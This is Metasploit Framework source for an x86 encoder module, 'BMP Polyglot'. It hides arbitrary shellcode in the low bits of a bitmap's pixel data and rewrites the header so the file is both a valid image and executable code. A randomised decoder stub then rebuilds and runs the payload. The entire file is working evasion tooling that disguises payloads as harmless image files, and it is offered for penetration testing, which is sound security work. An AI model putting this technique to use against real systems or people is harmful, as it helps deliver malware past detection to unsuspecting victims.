modules/encoders/x86/bmp_polyglot.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/poly'
=begin
[BITS 32]
global _start
_start:
pushad ; backup all registers
call get_eip ; get the value of eip
get_eip:
pop esi ; and put it into esi to use as the source
add esi, 0x30 ; advance esi to skip this decoder stub
mov edi, esi ; copy it to edi which is where to start writing
add esi, 0x1234 ; increase the source to skip any padding
mov ecx, 0x1234 ; set the byte counter
get_byte: ; <---------------------------------------------------------\
xor eax, eax ; clear eax which is where our newly decoded byte will go |
push ecx ; preserve the byte counter |
xor ecx, ecx ; set the counter to 0 |
mov cl, 8 ; set the counter to 8 (for bits) |
get_bit: ; <------------------------------------------------------\ |
shl eax, 1 ; shift eax one to make room for the next bit | |
mov bl, byte [esi] ; read a byte from the source register | |
inc esi ; advance the source register by a byte | |
and bl, 1 ; extract the value of the least-significant bit | |
or al, bl ; put the least-significat bit into eax | |
dec ecx ; decrement the bit counter | |
jne short get_bit ; -------------------------------------------------------/ |
; |
; get bit loop is done |
pop ecx ; restore the byte counter |
mov byte [edi], al ; move the newly decoded byte to its final destination |
inc edi ; increment the destination pointer |
; |
dec ecx ; decrement the byte counter |
jne get_byte ; ----------------------------------------------------------/
; get byte loop is done
popad ; restore all registers
=end
# calculate the smallest increase of a 32-bit little endian integer which is
# also a valid x86 jmp opcode of the specified minimum size.
class SizeCalculator
BYTE_NOPS = [
0x42, # inc edx
0x45, # inc ebp
0x4a, # dec edx
0x4d, # dec ebp
0x90, # xchg eax, eax / nop
0xf5, # cmc
0xf8, # clc
0xf9, # stc
0xfc, # cld
0xfd # std
]
def initialize(size, minimum_jump)
@original_size = size
raise if minimum_jump < 0 || minimum_jump > 0xff
@minimum_jump = minimum_jump
end
def calculate
possibles = []
size = new_size_long
possibles << size unless size.nil?
size = new_size_short
possibles << size unless size.nil?
return if possibles.length == 0
possibles.min
end
def new_size_long
size = [ @original_size ].pack('V').unpack('CCCC')
0.upto(2) do |i|
byte_0 = size[i]
byte_1 = size[i + 1]
byte_2 = size[i + 2].to_i
byte_3 = size[i + 3].to_i
byte_4 = size[i + 4].to_i
min_jmp = (@minimum_jump - 5 - i)
if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large
if byte_0 > 0xfd
size = increment_size(size, i)
end
size[i] = round_up_to_nop(byte_0)
next
end
if byte_0 > 0xe9
if byte_0 > 0xfd
size = increment_size(size, i)
end
size[i] = round_up_to_nop(byte_0)
else
size[i] = 0xe9
byte_1 = min_jmp if byte_1 < min_jmp
size[i + 1] = byte_1
return size.pack('CCCC').unpack('V')[0]
end
end
end
def new_size_short
return if @minimum_jump > 0x81 # short won't make it in this case (0x7f + 0.upto(2).to_a.max)
size = [ @original_size ].pack('V').unpack('CCCC')
0.upto(2) do |i|
byte_0 = size[i]
byte_1 = size[i + 1]
min_jmp = (@minimum_jump - 2 - i)
if byte_0 > 0xeb
if byte_0 > 0xfd
size = increment_size(size, i)
end
size[i] = round_up_to_nop(byte_0)
else
size[i] = 0xeb
if byte_1 > 0x7f
byte_1 = min_jmp
size = increment_size(size, i + 1)
elsif byte_1 < min_jmp
byte_1 = min_jmp
end
size[i + 1] = byte_1
return size.pack('CCCC').unpack('V')[0]
end
end
end
def size_to_jmp(size)
jmp = 0
packed = [ size, 0 ].pack('VV')
until [ "\xe9", "\xeb" ].include?(packed[0])
packed = packed[1..-1]
jmp += 1
end
if packed[0] == "\xe9"
jmp += packed[1..4].unpack('V')[0]
jmp += 5
elsif packed[0] == "\xeb"
jmp += packed[1].unpack('C')[0]
jmp += 2
end
jmp
end
private
def increment_size(size, byte)
size = size.pack('CCCC').unpack('V')[0]
size += (0x0100 << byte * 8)
[ size ].pack('V').unpack('CCCC')
end
def round_up_to_nop(opcode)
BYTE_NOPS.find { |nop| opcode <= nop }
end
end
class MetasploitModule < Msf::Encoder
Rank = ManualRanking
DESTEGO_STUB_SIZE = 53
# bitmap header sizes
BM_HEADER_SIZE = 14
DIB_HEADER_SIZE = 40
def initialize
super(
'Name' => 'BMP Polyglot',
'Description' => %q{
Encodes a payload in such a way that the resulting binary blob is both
valid x86 shellcode and a valid bitmap image file (.bmp). The selected
bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header
and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file
must use either 24 or 32 bits per pixel as the color depth and no
compression. This encoder makes absolutely no effort to remove any
invalid characters.
},
'Author' => 'Spencer McIntyre',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL' => 'https://warroom.securestate.com/bmp-x86-polyglot/' ]
]
)
register_options(
[
OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ])
],
self.class)
end
def can_preserve_registers?
true
end
def preserves_stack?
true
end
def make_pad(size)
(0...size).map { (rand(0x100)).chr }.join
end
def modified_registers
# these two registers are modified by the initial BM header
# B 0x42 inc edx
# M 0x4d dec ebp
[
Rex::Arch::X86::EBP, Rex::Arch::X86::EDX
]
end
# take the original size and calculate a new one that meets the following
# requirements:
# - large enough to store all of the image data and the assembly stub
# - is also a valid x86 jmp instruction to land on the assembly stub
def calc_new_size(orig_size, stub_length)
minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2 # -2 for the offset of the size in the BM header
calc = SizeCalculator.new(orig_size + stub_length, minimum_jump)
size = calc.calculate.to_i
raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size
jump = calc.size_to_jmp(size)
pre_pad = jump - minimum_jump
post_pad = size - orig_size - stub_length - pre_pad
return { :new_size => size, :post_pad => post_pad, :pre_pad => pre_pad }
end
# calculate the least number of bits that must be modified to place the
# shellcode buffer into the image data
def calc_required_lsbs(sc_len, data_len)
return 1 if sc_len * 8 <= data_len
return 2 if sc_len * 4 <= data_len
return 4 if sc_len * 2 <= data_len
raise EncodingError, 'Bad .bmp, not enough image data for stego operation'
end
# asm stub that will extract the payload from the least significant bits of
# the binary data which directly follows it
def make_destego_stub(shellcode_size, padding, lsbs = 1)
raise RuntimeError, 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs)
gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle
ptr_regs = [ 'edi', 'esi' ].shuffle
# declare logical registers
dst_addr_reg = Rex::Poly::LogicalRegister::X86.new('dst_addr', ptr_regs.pop)
src_addr_reg = Rex::Poly::LogicalRegister::X86.new('src_addr', ptr_regs.pop)
ctr_reg = Rex::Poly::LogicalRegister::X86.new('ctr', gen_regs.pop)
byte_reg = Rex::Poly::LogicalRegister::X86.new('byte', gen_regs.pop)
bit_reg = Rex::Poly::LogicalRegister::X86.new('bit', gen_regs.pop)
endb = Rex::Poly::SymbolicBlock::End.new
get_eip_nop = Proc.new { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr }
get_eip = Proc.new { |b|
[
Proc.new { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr },
Proc.new { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr },
].sample.call(b)
}
set_src_addr = Proc.new { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') }
set_dst_addr = Proc.new { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
set_byte_ctr = Proc.new { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') }
adjust_src_addr = Proc.new { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') }
initialize = Rex::Poly::LogicalBlock.new('initialize',
Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) },
Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) },
Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
Proc.new { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
Proc.new { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
)
clr_byte_reg = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr }
clr_ctr = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr }
backup_byte_ctr = Proc.new { |b| (0x50 + b.regnum_of(ctr_reg)).chr }
set_bit_ctr = Proc.new { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr }
get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop',
Proc.new { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
Proc.new { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) },
Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) },
)
get_byte_loop.depends_on(initialize)
shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg',
Proc.new { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr }
)
read_byte = Rex::Poly::LogicalBlock.new('read_byte',
Proc.new { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr }
)
inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg',
Proc.new { |b| (0x40 + b.regnum_of(src_addr_reg)).chr }
)
inc_src_reg.depends_on(read_byte)
get_lsb = Rex::Poly::LogicalBlock.new('get_lsb',
Proc.new { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr }
)
get_lsb.depends_on(read_byte)
put_lsb = Rex::Poly::LogicalBlock.new('put_lsb',
Proc.new { |b| "\x08"+ (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr }
)
put_lsb.depends_on(get_lsb, shift_byte_reg)
jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body')
jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg)
jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop',
Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr }
)
jmp_bit_loop.depends_on(jmp_bit_loop_body)
get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ]))
get_bit_loop.depends_on(get_byte_loop)
put_byte = Proc.new { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
inc_dst_reg = Proc.new { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr }
restore_byte_ctr = Proc.new { |b| (0x58 + b.regnum_of(ctr_reg)).chr }
get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post',
Proc.new { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) },
Proc.new { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) },
Proc.new { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) },
)
get_byte_post.depends_on(get_bit_loop)
jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body',
Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr }
)
jmp_byte_loop_body.depends_on(get_byte_post)
finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61")
finalize.depends_on(jmp_byte_loop_body)
return finalize.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])
end
def stegoify(shellcode, data, lsbs = 1)
clr_mask = ((0xff << lsbs) & 0xff)
set_mask = clr_mask ^ 0xff
iter_count = 8 / lsbs
shellcode.each_char.with_index do |sc_byte, index|
sc_byte = sc_byte.ord
0.upto(iter_count - 1) do |bit_pos|
data_pos = (index * (8 / lsbs)) + bit_pos
shift = 8 - (lsbs * (bit_pos + 1))
d_byte = data[data_pos].ord
d_byte &= clr_mask
d_byte |= ((sc_byte & (set_mask << shift)) >> shift)
data[data_pos] = d_byte.chr
end
end
data
end
def validate_dib_header(dib_header)
size, _, _, _, bbp, compression, _, _, _, _, _ = dib_header.unpack('VVVvvVVVVVV')
raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE
raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32
raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0
end
def encode(buf, badchars = nil, state = nil, platform = nil)
in_bmp = File.open(datastore['BitmapFile'], 'rb')
header = in_bmp.read(BM_HEADER_SIZE)
dib_header = in_bmp.read(DIB_HEADER_SIZE)
image_data = in_bmp.read
in_bmp.close
header, original_size, _, _, original_offset = header.unpack('vVvvV')
raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42
validate_dib_header(dib_header)
lsbs = calc_required_lsbs(buf.length, image_data.length)
details = calc_new_size(original_size, DESTEGO_STUB_SIZE)
destego_stub = make_destego_stub(buf.length, details[:post_pad], lsbs)
if destego_stub.length != DESTEGO_STUB_SIZE
# this is likely a coding error caused by updating the make_destego_stub
# method but not the DESTEGO_STUB_SIZE constant
raise EncodingError, 'Bad destego stub size'
end
pre_image_data = make_pad(details[:pre_pad]) + destego_stub + make_pad(details[:post_pad])
new_offset = original_offset + pre_image_data.length
bmp_img = ''
bmp_img << [0x4d42, details[:new_size], 0, 0, new_offset].pack('vVvvV')
bmp_img << dib_header
bmp_img << pre_image_data
bmp_img << stegoify(buf, image_data, lsbs)
bmp_img
end
end